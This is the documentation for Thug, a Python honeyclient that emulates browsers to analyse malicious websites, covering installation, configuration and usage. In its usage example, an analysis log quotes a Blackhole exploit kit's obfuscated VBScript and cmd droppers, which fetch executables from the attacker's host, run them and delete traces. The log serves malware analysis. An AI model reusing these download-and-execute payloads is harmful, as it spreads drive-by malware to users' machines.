

---

# **Thug Documentation**

*Release 1.6.1*

**Angelo Dell'Aera**

**May 28, 2020**



---

# Contents

---

<b>1</b>	<b>Introduction</b>	<b>1</b>
<b>2</b>	<b>Build and Install</b>	<b>3</b>
2.1	Requirements . . . . .	3
2.2	Thug installation . . . . .	4
<b>3</b>	<b>Docker</b>	<b>7</b>
3.1	Installation . . . . .	7
<b>4</b>	<b>Configuration</b>	<b>9</b>
4.1	HoneyAgent (optional) . . . . .	9
4.2	VirusTotal (optional) . . . . .	11
<b>5</b>	<b>Usage</b>	<b>13</b>
5.1	Basic usage . . . . .	13
5.2	Browser personality . . . . .	19
5.3	DOM Events Handling . . . . .	22
5.4	Adobe Acrobat Reader . . . . .	22
5.5	Shockwave Flash . . . . .	25
5.6	JavaPlugin and JavaWebStart . . . . .	26
5.7	Proxy support . . . . .	28
5.8	Image processing . . . . .	30
5.9	Local Analysis . . . . .	31
5.10	Other useful features . . . . .	33
<b>6</b>	<b>Thug API</b>	<b>35</b>
<b>7</b>	<b>JS Hooks</b>	<b>53</b>
<b>8</b>	<b>Logging</b>	<b>57</b>
8.1	Logging configuration . . . . .	57
8.2	MongoDB logging mode . . . . .	58
8.3	ElasticSearch logging module . . . . .	62
8.4	JSON logging mode . . . . .	63
8.5	File logging mode . . . . .	65
<b>9</b>	<b>Plugin Framework</b>	<b>67</b>



# CHAPTER 1

---

## Introduction

---

Thug is a Python low-interaction honeyclient based on an hybrid static/dynamic analysis approach.

Thug provides a DOM implementation which is (almost) compliant with W3C DOM Core, HTML, Events, Views and Style specifications (Level 1, 2 and partially 3).<sup>1</sup>

Thug makes use of the Google V8 Javascript engine<sup>2</sup> wrapped through PyV8<sup>3</sup> in order to analyze malicious Javascript code and of the Libemu library<sup>4</sup> wrapped through Pylibemu<sup>5</sup> in order to detect and emulate shellcodes.

Currently 10 Internet Explorer (Windows XP, Windows 2000, Windows 7, Windows 10), 22 Chrome (Windows XP, Windows 7, MacOS X, Android 4.0.3, Android 4.0.4, Android 4.1.2, Linux, iOS 7.1, iOS 7.1.1, iOS 7.1.2, iOS 8.0.2, iOS 8.1.1, iOS 8.4.1, iOS 9.0.2), 4 Firefox (Windows XP, Windows 7, Linux) and 6 Safari (Windows XP, Windows 7, MacOS X, iOS 7.0.4, iOS 8.0.2, iOS 9.1) personalities are emulated and about 90 vulnerability modules (ActiveX controls, core browser functionalities, browser plugins) are provided.

---

<sup>1</sup> W3C DOM Specifications

<sup>2</sup> Google V8 is Google's open source JavaScript engine. V8 is written in C++ and is used in Google Chrome, the open source browser from Google. V8 implements ECMAScript as specified in ECMA-262, 3rd edition, and runs on Windows XP and Vista, Mac OS X 10.5 (Leopard), and Linux systems that use IA-32 or ARM processors. V8 can run standalone, or can be embedded into any C++ application.

<sup>3</sup> PyV8 is a Python wrapper for the Google V8 engine. PyV8 acts as a bridge between the Python and JavaScript objects and supports the Google V8 engine in Python scripts.

<sup>4</sup> Libemu is a small library written in C offering basic x86 emulation and shellcode detection using GetPC heuristics. It is designed to be used within network intrusion/prevention detections and honeypots.

<sup>5</sup> Pylibemu is a Libemu Cython wrapper



## 2.1 Requirements

### 2.1.1 Python

Python 3.6+ is required in order to properly run Thug. You may be lucky running it with previous versions but please consider such versions are not supported. Please do not report issues in such case. Python source code can be downloaded at <http://www.python.org>.

### 2.1.2 Boost

Boost provides free peer-reviewed portable C++ source libraries. Boost homepage is located at <http://www.boost.org/>. Packages for most Linux distributions are available.

### 2.1.3 Google V8

V8 is Google's open source high-performance JavaScript and WebAssembly engine, written in C++. It is used in Chrome and in Node.js, among others. It implements ECMAScript and WebAssembly, and runs on Windows 7 or later, macOS 10.12+, and Linux systems that use x64, IA-32, ARM, or MIPS processors. V8 can run standalone, or can be embedded into any C++ application.

#### Python 3

**Thug 0.10.6 is the last version supporting Python 2.7.** More recent versions support just Python 3.6+. If you are installing a recent Thug version (and you should really do that) you have to install STPyV8 (<https://github.com/area1/stpyv8/>).

STPyV8 is a Python/C++ wrapper that allows interoperability between Python 3 and JavaScript running Google's V8 engine. STPyV8 is a fork of the original PyV8 project, with code changed to work with the latest V8 engine and Python 3. STPyV8 links with Google V8 built as a static library. Currently the library builds on Linux and MacOS, with Windows planned for the future.

GCC/clang or equivalent and Python3 headers are needed to build the main STPyV8 source code, as well as Boost-Python and some other Boost dependencies. For a short while, Python 2.7 is still needed by Google's toolchain to build a local library version of V8.

A Python 3 virtual environment is recommended. (Google's build tools will establish their own Python2 virtual environment during the compilation of V8, but this can be ignored).

Please look at <https://github.com/area1/stpyv8/blob/master/docs/source/build.rst> for detailed building instructions.

### Python 2 (DEPRECATED)

If you have some very good reasons to avoid moving to Python 3 be aware that Thug 0.10.6 is the last version supporting Python 2.7. In such case you have to install PyV8. Please consider that PyV8 is not maintained so you could experience issues. Please do not report related issues.

In order to properly install Google V8 and PyV8 please follow the procedure described below.

```
$ git clone https://github.com/buffer/pyv8.git
$ cd pyv8
~/pyv8 $ python setup.py build
~/pyv8 $ sudo python setup.py install
```

## 2.1.4 Graphviz

Graphviz homepage is located at <http://www.graphviz.org/>.

Graphviz is open source graph visualization software. Graph visualization is a way of representing structural information as diagrams of abstract graphs and networks. It has important applications in networking, bioinformatics, software engineering, database and web design, machine learning, and in visual interfaces for other technical domains.

Packages for most Linux distributions are available.

## 2.1.5 MongoDB (optional)

MongoDB homepage is located at <http://www.mongodb.org>.

Packages for most Linux distributions are available.

## 2.1.6 RabbitMQ (optional)

RabbitMQ homepage is located at <http://www.rabbitmq.com/>. RabbitMQ is a high-performance AMQP-compliant message broker written in Erlang and it's needed just if you want to play with Thug distributed mode.

Packages for most Linux distributions are available.

## 2.2 Thug installation

Starting from Thug 0.8.0, Thug is installable through pip with the following procedure

```
# pip install thug
```

Alternatively you can clone the Thug repository and execute



```
$ cd thug
$ python setup.py build
$ sudo python setup.py install
```

The procedure will install the dependencies not already mentioned in the previous sections so you should take care of installing them before actually installing Thug.



If you want to run up a quick instance of Thug on a couple of malicious web sites or try it out but just lack the knowledge and/or time to install it, an alternative exists. Thanks to Docker you can run Thug up in a matter of minutes.

Currently there exist a few docker images in the Docker Hub ready to run.

Docker is a platform for developers and sysadmins to develop, ship, and run applications. Docker lets you quickly assemble applications from components and eliminates the friction that can come when shipping code. Docker lets you get your code tested and deployed into production as fast as possible.

Docker consists of:

- The Docker Engine - a lightweight and powerful open source container virtualization technology combined with a work flow for building and containerizing your applications.
- Docker Hub - a SaaS service for sharing and managing application stacks.

## 3.1 Installation

Please refer to <http://docs.docker.com/installation/#installation> for instructions on how to install Docker on your system.

For instance on Debian/Ubuntu systems you just need to run the following commands

```
$ sudo apt-get update
$ sudo apt-get install docker.io
```

After Docker is properly installed you can proceed with the Thug installation. Get the dockerized Thug from the HoneyNet Project's Docker repository at <https://hub.docker.com/r/buffer/thug>

Thug will be installed in the directory `/opt/thug`. To run it just execute `python /opt/thug/src/thug.py [options] URL`.

Download the latest stable container

```
$ docker pull buffer/thug
```

Then mount your host ~/logs dir and enable it to keep the logs on the host

```
$ docker run -it -v ~/logs:/logs buffer/thug
```

Test the dockerized Thug inside the container analyzing 20 random samples

```
$ for item in $(find /opt/thug/samples/ -type f | xargs shuf -e |tail -n 20); do  
→python /opt/thug/src/thug.py -l $item; done
```

If everything works fine just enjoy your new Thug instance!

### 4.1 HoneyAgent (optional)

HoneyAgent is a Java agent library that creates a sandbox for Java applications and applets. It uses the JVMTI as well as the JNI to intercept class loading and function calls.

During runtime HoneyAgent traces function calls performed by the analyzed application. It shows which class calls which function with which parameters. Reflected function calls are translated to the original function names for simpler reading.

HoneyAgent provides simple means to hook individual Java functions e.g. to provide fake values to the analyzed application. These hooks are caller sensitive, so that default JRE classes can still function properly. The process of class loading is also intercepted to identify invalid bytecode and optionally make changes to get the class running within the observed environment.

To sandbox the application, file accesses are redirected to a jailed environment. Furthermore, Java properties as well as environment variables are faked due to according Java function hooks.

HoneyAgent source code can be downloaded at

[https://bitbucket.org/fkie\\_cd\\_dare/honeyagent](https://bitbucket.org/fkie_cd_dare/honeyagent)

It is **HIGHLY** suggested to run HoneyAgent in a dedicated VM because there exists the possibility a sample could circumvent the sandbox and compromise the machine. In such case please consider that a OVA is available (and already configured) at

<https://www.dropbox.com/s/qieyfe97qvh7pjp/Honeyagent-r2.ova>

Login : thug Password: thug

In order to configure Thug to submit applets for analysis to HoneyAgent edit the configuration file */etc/thug/thug.conf* as shown later.

```
[honeyagent]
scanurl: http://192.168.56.101:8000
```

Please note that if the file *thug.conf* does not exist Thug will assume you do not want to submit applets to HoneyAgent. Alternatively you can disable the HoneyAgent support through command line even if the *thug.conf* file exists (option `-N` or `--no-honeyagent`).

This configuration instructs Thug to send the applet to analyze to the server whose IP address is 192.168.56.101 (please verify your network configuration and modify it accordingly) listening on port 8000/tcp.

In order to enable this service run these commands on the HoneyAgent machine

```
thug@honeyagent:~$ cd honeyagent/HoneyDaemon/
thug@honeyagent:~/honeyagent/HoneyDaemon$ python daemon.py run.ini
HoneyAgent daemon running on port 8000
```

After the service is enabled and properly configured you should be able to automatically analyze applets like shown later.

```
buffer@rigel ~ $ thug http://192.168.0.100:8080/1
[2014-07-07 23:50:53] [window open redirection] about:blank -> http://192.168.0.
↳100:8080/1
[2014-07-07 23:50:53] [HTTP Redirection (Status: 302)] Content-Location: http://192.
↳168.0.100:8080/1 --> Location: http://192.168.0.100:8080/1/
[2014-07-07 23:50:53] [HTTP] URL: http://192.168.0.100:8080/1/ (Status: 200,
↳Referrer: None)
[2014-07-07 23:50:53] [HTTP] URL: http://192.168.0.100:8080/1/ (Content-type: text/
↳html, MD5: 514658fc397a7f227bd0d3e11b22c428)
[2014-07-07 23:50:53] <applet archive="qqNqSoke.jar" code="BTrJ.class" height="1"
↳width="1"></applet>
[2014-07-07 23:50:53] [Navigator URL Translation] qqNqSoke.jar --> http://192.168.0.
↳100:8080/1/qqNqSoke.jar
[2014-07-07 23:50:53] [applet redirection] http://192.168.0.100:8080/1/ -> http://192.
↳168.0.100:8080/1/qqNqSoke.jar
[2014-07-07 23:50:53] [HTTP] URL: http://192.168.0.100:8080/1/qqNqSoke.jar (Status:
↳200, Referrer: http://192.168.0.100:8080/1/)
[2014-07-07 23:50:53] [HTTP] URL: http://192.168.0.100:8080/1/qqNqSoke.jar (Content-
↳type: application/octet-stream, MD5: 1b3354f594522ff32791c278f50f2efa)
[2014-07-07 23:50:56] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Sample submitted
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Dropped sample
↳uAzpYJRZ.exe
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Dropped sample
↳IixfXAb.class
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Dropped sample
↳ArIBNUkvAi.dat
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Yara heuristics
↳rule CreatesNewProcess match
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Yara heuristics
↳rule WritesMZFile match
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Yara heuristics
↳rule WritesExeFile match
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Yara heuristics
↳rule LocalFileAccess match
[2014-07-07 23:50:57] [HoneyAgent] [1b3354f594522ff32791c278f50f2efa] Yara heuristics
↳rule RestrictedPropertyAccess match
[2014-07-07 23:50:57] Saving log analysis at /tmp/thug/logs/
↳97ae3a4c476f3efab64b70b26b0f7b57/20140707235053

buffer@rigel ~ $ cd /tmp/thug/logs/97ae3a4c476f3efab64b70b26b0f7b57/20140707235053/
↳analysis/honeyagent/
buffer@rigel /tmp/thug/logs/97ae3a4c476f3efab64b70b26b0f7b57/20140707235053/analysis/
↳honeyagent $ ls -lhr
```

(continues on next page)

(continued from previous page)

```

.:
total 668K
-rw-r--r-- 1 buffer buffer 665K Jul  7 23:50 1b3354f594522ff32791c278f50f2efa.json
drwxr-xr-x 2 buffer buffer  66 Jul  7 23:50 dropped

./dropped:
total 92K
-rw-r--r-- 1 buffer buffer  110 Jul  7 23:50 ArIBNUkvAi.dat
-rw-r--r-- 1 buffer buffer  9.2K Jul  7 23:50 IixfXAb.class
-rw-r--r-- 1 buffer buffer  73K Jul  7 23:50 uAzpYJRZ.exe

buffer@rigel /tmp/thug/logs/97ae3a4c476f3efab64b70b26b0f7b57/20140707235053/analysis/
↪honeyagent $ cd dropped/
buffer@rigel /tmp/thug/logs/97ae3a4c476f3efab64b70b26b0f7b57/20140707235053/analysis/
↪honeyagent/dropped $ file *
ArIBNUkvAi.dat: ASCII text
IixfXAb.class:  compiled Java class data, version 45.3
uAzpYJRZ.exe:   PE32 executable (GUI) Intel 80386, for MS Windows

```

## 4.2 VirusTotal (optional)

VirusTotal is a free service that analyzes suspicious files and URLs and facilitates the quick detection of viruses, worms, trojans, and all kinds of malware.

Thug supports VirusTotal and a default API key is now included in the default configuration file (many thanks to the VirusTotal team). To change the default VirusTotal key with your own, simply edit */etc/thug/thug.conf* as shown later.

```

[virustotal]
apikey:           <enter your API key here>
scanurl:         https://www.virustotal.com/vtapi/v2/file/scan
reporturl:       https://www.virustotal.com/vtapi/v2/file/report

```

You may also pass a runtime value for the API key parameter by using the `-vt-apikey` or `-b` parameter: this may come handy when using a dockerized Thug instance where editing the configuration file prior to each run may not be that simple.





## 5.1 Basic usage

Let's start our Thug tour by taking a look at the options it provides.

```

~ $ thug -h

Synopsis:
  Thug: Pure Python honeyclient implementation

Usage:
  thug [ options ] url

Options:
  -h, --help                Display this help information
  -V, --version             Display Thug version
  -i, --list-ua             Display available user agents
  -u, --useragent=         Select a user agent (use option -b for values,
↳ default: winxpie60)
  -e, --events=            Enable comma-separated specified DOM events
↳ handling
  -w, --delay=              Set a maximum setTimeout/setInterval delay value
↳ (in milliseconds)
  -n, --logdir=            Set the log output directory
  -o, --output=            Log to a specified file
  -r, --referer            Specify a referer
  -p, --proxy=             Specify a proxy (see below for format and
↳ supported schemes)
  -m, --attachment         Set the attachment mode
  -l, --local              Analyze a locally saved page
  -x, --local-nofetch      Analyze a locally saved page and prevent remote
↳ content fetching
  -v, --verbose            Enable verbose mode
  -d, --debug              Enable debug mode

```

(continues on next page)

(continued from previous page)

-q, --quiet	Disable console logging
-g, --http-debug	Enable HTTP debug mode
-t, --threshold	Maximum pages to fetch
-j, --extensive	Extensive fetch of linked pages
-O, --connect-timeout	Set the connect timeout (in seconds, default: 10
↪seconds)	
-T, --timeout=	Set the analysis timeout (in seconds, default:
↪600 seconds)	
-c, --broken-url	Set the broken URL mode
-y, --vtquery	Query VirusTotal <b>for</b> samples analysis
-s, --vtsubmit	Submit samples to VirusTotal
-b, --vt-apikey=	VirusTotal API key to be used at runtime
-z, --web-tracking	Enable web client tracking inspection
-k, --no-honeyagent	Disable HoneyAgent support
-a, --image-processing	Enable image processing analysis
Plugins:	
-A, --adobepdf=	Specify the Adobe Acrobat Reader version
↪(default: 9.1.0)	
-P, --no-adobepdf	Disable Adobe Acrobat Reader plugin
-S, --shockwave=	Specify the Shockwave Flash version (default: 10.
↪0.64.0)	
-R, --no-shockwave	Disable Shockwave Flash plugin
-J, --javaplugin=	Specify the JavaPlugin version (default: 1.6.0.32)
-K, --no-javaplugin	Disable Java plugin
-L, --silverlight	Specify SilverLight version (default: 4.0.50826.0)
-N, --no-silverlight	Disable SilverLight plugin
Classifiers:	
--htmlclassifier=	Specify a list of additional (comma separated)
↪HTML classifier rule files	
--urlclassifier=	Specify a list of additional (comma separated)
↪URL classifier rule files	
--jsclassifier=	Specify a list of additional (comma separated) JS
↪classifier rule files	
--vbsclassifier=	Specify a list of additional (comma separated)
↪VBS classifier rule files	
--sampleclassifier=	Specify a list of additional (comma separated)
↪sample classifier rule files	
--htmlfilter=	Specify a list of additional (comma separated)
↪HTML filter files	
--urlfilter=	Specify a list of additional (comma separated)
↪URL filter files	
--jsfilter=	Specify a list of additional (comma separated) JS
↪filter files	
--vbsfilter=	Specify a list of additional (comma separated)
↪VBS filter files	
--samplefilter=	Specify a list of additional (comma separated)
↪sample filter files	
Logging:	
-F, --file-logging	Enable file logging mode (default: disabled)
-Z, --json-logging	Enable JSON logging mode (default: disabled)
-G, --elasticsearch-logging	Enable Elasticsearch logging mode (default:
↪disabled)	
-D, --mongodb-address=	Specify address and port of the MongoDB instance
↪(format: host:port)	

(continues on next page)

(continued from previous page)

```
-Y, --no-code-logging      Disable code logging
-U, --no-cert-logging     Disable SSL/TLS certificate logging
```

Proxy Format:

```
scheme://[username:password@]host:port (supported schemes: http, socks4, socks5)
```

Before diving deep into details let's take a look at the available personalities

```
$ thug --list-ua
```

Synopsis:

```
Thug: Pure Python honeyclient implementation
```

Available User-Agents:

```
winxpie60      Internet Explorer 6.0      (Windows XP)
winxpie61      Internet Explorer 6.1      (Windows XP)
winxpie70      Internet Explorer 7.0      (Windows XP)
winxpie80      Internet Explorer 8.0      (Windows XP)
winxpchrome20  Chrome 20.0.1132.47        (Windows XP)
winxpfirefox12 Firefox 12.0                (Windows XP)
winxpsafari5   Safari 5.1.7                (Windows XP)
win2kie60      Internet Explorer 6.0      (Windows 2000)
win2kie80      Internet Explorer 8.0      (Windows 2000)
win7ie80       Internet Explorer 8.0      (Windows 7)
win7ie90       Internet Explorer 9.0      (Windows 7)
win7ie100      Internet Explorer 10.0     (Windows 7)
win7chrome20   Chrome 20.0.1132.47        (Windows 7)
win7chrome40   Chrome 40.0.2214.91        (Windows 7)
win7chrome45   Chrome 45.0.2454.85        (Windows 7)
win7chrome49   Chrome 49.0.2623.87        (Windows 7)
win7firefox3   Firefox 3.6.13             (Windows 7)
win7safari5    Safari 5.1.7                (Windows 7)
win10ie110     Internet Explorer 11.0     (Windows 10)
osx10chrome19  Chrome 19.0.1084.54        (MacOS X 10.7.4)
osx10chrome80  Chrome 80.0.3987.116       (MacOS X 10.15.3)
osx10safari5   Safari 5.1.1                (MacOS X 10.7.2)
linuxchrome26  Chrome 26.0.1410.19        (Linux)
linuxchrome30  Chrome 30.0.1599.15        (Linux)
linuxchrome44  Chrome 44.0.2403.89        (Linux)
linuxchrome54  Chrome 54.0.2840.100       (Linux)
linuxfirefox19 Firefox 19.0                (Linux)
linuxfirefox40 Firefox 40.0                (Linux)
galaxy2chrome18 Chrome 18.0.1025.166       (Samsung Galaxy S II, ↩)
↩Android 4.0.3)
galaxy2chrome25 Chrome 25.0.1364.123       (Samsung Galaxy S II, ↩)
↩Android 4.0.3)
galaxy2chrome29 Chrome 29.0.1547.59        (Samsung Galaxy S II, ↩)
↩Android 4.1.2)
nexuschromel8 Chrome 18.0.1025.133       (Google Nexus, Android 4.
↩0.4)
ipadchrome33   Chrome 33.0.1750.21        (iPad, iOS 7.1)
ipadchrome35   Chrome 35.0.1916.41        (iPad, iOS 7.1.1)
ipadchrome37   Chrome 37.0.2062.52        (iPad, iOS 7.1.2)
ipadchrome38   Chrome 38.0.2125.59        (iPad, iOS 8.0.2)
ipadchrome39   Chrome 39.0.2171.45        (iPad, iOS 8.1.1)
ipadchrome45   Chrome 45.0.2454.68        (iPad, iOS 8.4.1)
ipadchrome46   Chrome 46.0.2490.73        (iPad, iOS 9.0.2)
```

(continues on next page)

(continued from previous page)

ipadchrome47	Chrome 47.0.2526.70	(iPad, iOS 9.1)
ipadsafari7	Safari 7.0	(iPad, iOS 7.0.4)
ipadsafari8	Safari 8.0	(iPad, iOS 8.0.2)
ipadsafari9	Safari 9.0	(iPad, iOS 9.1)

Let's start with a first basic real-world example: a Blackhole exploit kit.

```

1 ~ $ thug "http://[omitted]/main.php?page=8c6c59becaa0da07"
2 [2012-07-02 19:15:20] [HTTP] URL: http://[omitted]/main.php?
  ↳page=8c6c59becaa0da07 (Status: 200, Referrer: None)
3 [2012-07-02 19:15:20] <applet archive="Ryp.jar" code="sIda.sIda"><param name="b
  ↳" value=
  ↳"56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
  ↳"></param></applet>
4 [2012-07-02 19:15:20] [Navigator URL Translation] Ryp.jar --> http://
  ↳[omitted]/Ryp.jar
5 [2012-07-02 19:15:22] [HTTP] URL: http://[omitted]/Ryp.jar (Status: 200,
  ↳Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
6 [2012-07-02 19:15:23] Saving applet Ryp.jar
7 [2012-07-02 19:15:24] ActiveXObject: msxml2.xmlhttp
8 [2012-07-02 19:15:24] ActiveXObject: acropdf.pdf
9 [2012-07-02 19:15:24] Unknown ActiveX Object: shockwaveflash.shockwaveflash.15
10 [2012-07-02 19:15:24] Unknown ActiveX Object: shockwaveflash.shockwaveflash.14
11 [2012-07-02 19:15:24] Unknown ActiveX Object: shockwaveflash.shockwaveflash.13
12 [2012-07-02 19:15:24] Unknown ActiveX Object: shockwaveflash.shockwaveflash.12
13 [2012-07-02 19:15:24] Unknown ActiveX Object: shockwaveflash.shockwaveflash.11
14 [2012-07-02 19:15:24] ActiveXObject: shockwaveflash.shockwaveflash.10
15 [2012-07-02 19:15:24] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject
  ↳(adodb.stream)
16 [2012-07-02 19:15:24] ActiveXObject: adodb.stream
17 [2012-07-02 19:15:24] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject
  ↳(Shell.Application)
18 [2012-07-02 19:15:24] ActiveXObject: shell.application
19 [2012-07-02 19:15:24] [Microsoft MDAC RDS.Dataspace ActiveX] CreateObject
  ↳(msxml2.XMLHTTP)
20 [2012-07-02 19:15:24] ActiveXObject: msxml2.xmlhttp
21 [2012-07-02 19:15:24] [Microsoft XMLHTTP ActiveX] Fetching from URL http://
  ↳[omitted]/w.php?f=b081d&e=2
22 [2012-07-02 19:15:27] [HTTP] URL: http://[omitted]/w.php?f=b081d&e=2 (Status:
  ↳200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
23 [2012-07-02 19:15:29] [Microsoft XMLHTTP ActiveX] Saving File:
  ↳d328b5a123bce1c0d20d763ad745303a
24 [2012-07-02 19:15:29] [Microsoft XMLHTTP ActiveX] send
25 [2012-07-02 19:15:29] [Adodb.Stream ActiveX] open
26 [2012-07-02 19:15:29] [Adodb.Stream ActiveX] Write
27 [2012-07-02 19:15:29] [Adodb.Stream ActiveX] SaveToFile (./../a2ffcd1.exe)
28 [2012-07-02 19:15:29] [Adodb.Stream ActiveX] Close
29 [2012-07-02 19:15:29] [Shell.Application ActiveX] ShellExecute command: ./../
  ↳a2ffcd1.exe
30 [2012-07-02 19:15:29] [Navigator URL Translation] ./data/ap1.php?f=b081d -->
  ↳http://[omitted]/data/ap1.php?f=b081d
31 [2012-07-02 19:15:36] [HTTP] URL: http://[omitted]/data/ap1.php?f=b081d
  ↳(Status: 200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
32 [2012-07-02 19:15:36] Microsoft Internet Explorer HCP Scheme Detected
33 [2012-07-02 19:15:36] Microsoft Windows Help Center Malformed Escape Sequences
  ↳Incorrect Handling
34 [2012-07-02 19:15:36] [AST]: Eval argument length > 64

```

(continues on next page)

(continued from previous page)

```

35     [2012-07-02 19:15:36] [Windows Script Host Run] Command:
36     cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP").open "GET","http://
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳"Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳GetSpecialFolder(2) + "\" + B > %TEMP%\l.vbs && %TEMP%\l.vbs && taskkill /F /IM
↳helpctr.exe

37
38     [2012-07-02 19:15:36] [Windows Script Host Run - Stage 1] Code:
39     cmd /c echo B="l.vbs":With CreateObject("MSXML2.XMLHTTP").open "GET","http://
↳[omitted]/data/hcp_vbs.php?f=b081d&d=0",false:.send():Set A = CreateObject(
↳"Scripting.FileSystemObject"):Set D=A.CreateTextFile(A.GetSpecialFolder(2) + "\" +
↳B):D.WriteLine .responseText:End With:D.Close:CreateObject("WScript.Shell").Run A.
↳GetSpecialFolder(2) + "\" + B > %TEMP%\l.vbs && %TEMP%\l.vbs && taskkill /F /IM
↳helpctr.exe

40     [2012-07-02 19:15:36] [Windows Script Host Run - Stage 1] Downloading from URL
↳http://[omitted]/data/hcp_vbs.php?f=b081d&d=0
41     [2012-07-02 19:15:37] [HTTP] URL: http://[omitted]/data/hcp_vbs.php?f=b081d&
↳d=0 (Status: 200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
42     [2012-07-02 19:15:37] [Windows Script Host Run - Stage 1] Saving file
↳d26b9b1a1f667004945d1d000cf4f19e
43     [2012-07-02 19:15:37] [Windows Script Host Run - Stage 2] Code:
44     w=3000:x=200:y=1:z=false:a = "http://[omitted]/w.php?e=5&f=b081d":Set e =
↳Createobject(StrReverse("tcejbOmetSySeliF.gnitpircS")):Set f=e.
↳GetSpecialFolder(2):b = f & ".exe.ex2":b=Replace(b,Month("2010-02-16"),"e"):OT =
↳"GET":Set c = CreateObject(StrReverse("PTTHLMX.2LMXSM")):Set d =
↳CreateObject(StrReverse("ertS.BDODA") & ".am")
45     Set o=Createobject(StrReverse("tcejbOmetSySeliF.gnitpircS"))
46     On Error resume next
47     c.open OT, a, z:c.send()
48     If c.Status = x Then
49     d.Open:d.Type = y:d.Write c.ResponseBody:d.SaveToFile b:d.Close
50     End If
51     Set w=CreateObject(StrReverse("llehS." & "tpi"&"rcSW"))
52     Eval(Replace("W.ex2c b", Month("2010-02-16"), "E"))
53     W.eXeC "taskkill /F /IM wm" & "player.e" & "xe":W.eXeC "taskkill /F /IM
↳realplay.ex" & "e":Set g=o.GetFile(e.GetSpecialFolder(3-1) & "\" & StrReverse("bv.1
↳") & "s"):g.Delete:WScript.Sleep w:Set g=o.GetFile(b):Eval("g.Delete")

54
55     [2012-07-02 19:15:37] [Windows Script Host Run - Stage 2] Downloading from URL
↳http://[omitted]/w.php?e=5&f=b081d
56     [2012-07-02 19:15:43] [HTTP] URL: http://[omitted]/w.php?e=5&f=b081d (Status:
↳200, Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
57     [2012-07-02 19:15:45] [Windows Script Host Run - Stage 2] Saving file
↳d328b5a123bce1c0d20d763ad745303a
58     [2012-07-02 19:15:45] <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-
↳444553540000" height="10" id="swf_id" width="10"><param name="movie" value="data/
↳field.swf"></param><param name="allowScriptAccess" value="always"></param><param
↳name="Play" value="0"></param><embed allowscriptaccess="always" height="10" id="swf_
↳id" name="swf_id" src="data/field.swf" type="application/x-shockwave-flash" width=
↳"10"></embed></object>
59     [2012-07-02 19:15:45] <param name="b" value=
↳"56:14:14:19:27:50:50:6:56:47:66:47:33:19:22:48:11:33:49:66:11:14:50:48:49:19:56:19:46:67:24:0:12:
↳"></param>
60     [2012-07-02 19:15:45] <param name="movie" value="data/field.swf"></param>
61     [2012-07-02 19:15:45] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf

```

(continues on next page)

(continued from previous page)

```

62     [2012-07-02 19:15:52] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳ Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
63     [2012-07-02 19:15:52] Saving remote content at data/field.swf (MD5:↳
↳502da89357ca5d7c85dc7a67f8977b21)
64     [2012-07-02 19:15:52] <param name="allowScriptAccess" value="always"></param>
65     [2012-07-02 19:15:52] <param name="Play" value="0"></param>
66     [2012-07-02 19:15:52] <embed allowscriptaccess="always" height="10" id="swf_id
↳" name="swf_id" src="data/field.swf" type="application/x-shockwave-flash" width="10
↳"></embed>
67     [2012-07-02 19:15:52] [Navigator URL Translation] data/field.swf --> http://
↳[omitted]/data/field.swf
68     [2012-07-02 19:15:53] [HTTP] URL: http://[omitted]/data/field.swf (Status: 200,
↳ Referrer: http://[omitted]/main.php?page=8c6c59becaa0da07)
69     [2012-07-02 19:15:53] Saving remote content at data/field.swf (MD5:↳
↳502da89357ca5d7c85dc7a67f8977b21)
70     [2012-07-02 19:15:53] Saving log analysis at /tmp/thug/logs/
↳baa880d8d79c3488f2c0557be24cca6b/20120702191511

```

Let's take a look at the directory which contains the logs for this session

```

~ $ cd /tmp/thug/logs/baa880d8d79c3488f2c0557be24cca6b/20120702191511
/tmp/thug/logs/baa880d8d79c3488f2c0557be24cca6b/20120702191511 $ ls -lhr
.:
total 232K
-rw-r--r-- 1 buffer buffer 1008 Jul  2 19:15 502da89357ca5d7c85dc7a67f8977b21
-rw-r--r-- 1 buffer buffer  81K Jul  2 19:15 analysis.xml
drwxr-xr-x 6 buffer buffer  176 Jul  2 19:15 application
-rwxr-xr-x 1 buffer buffer  89K Jul  2 19:15 d328b5a123bce1c0d20d763ad745303a
-rw-r--r-- 1 buffer buffer  51K Jul  2 19:15 Ryp.jar
drwxr-xr-x 3 buffer buffer   72 Jul  2 19:15 text

./application:
total 0
drwxr-xr-x 2 buffer buffer  96 Jul  2 19:15 java-archive
drwxr-xr-x 2 buffer buffer  96 Jul  2 19:15 pdf
drwxr-xr-x 2 buffer buffer  96 Jul  2 19:15 x-msdownload
drwxr-xr-x 2 buffer buffer  96 Jul  2 19:15 x-shockwave-flash

./application/java-archive:
total 52K
-rw-r--r-- 1 buffer buffer 51K Jul  2 19:15 e3639fde6ddf7fd0182fff9757143ff2

./application/pdf:
total 16K
